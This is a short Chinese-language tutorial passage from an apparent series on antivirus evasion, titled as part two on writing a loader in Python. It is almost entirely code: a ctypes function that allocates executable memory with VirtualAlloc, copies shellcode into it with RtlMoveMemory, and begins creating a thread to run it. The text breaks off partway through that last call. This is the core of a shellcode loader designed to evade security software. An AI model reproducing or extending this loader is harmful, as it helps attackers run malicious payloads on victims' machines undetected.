免杀专题（二）loader编写以python为例

免杀专题（二）loader编写以python为例

先贴代码

import ctypes

#shellcode加载
def shellCodeLoad(shellcode):
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 
                                              ctypes.c_int(len(shellcode)), 												  ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))
    
    
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     		  buf,
                                              ctypes.c_int(len(shellcode)))
    
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0)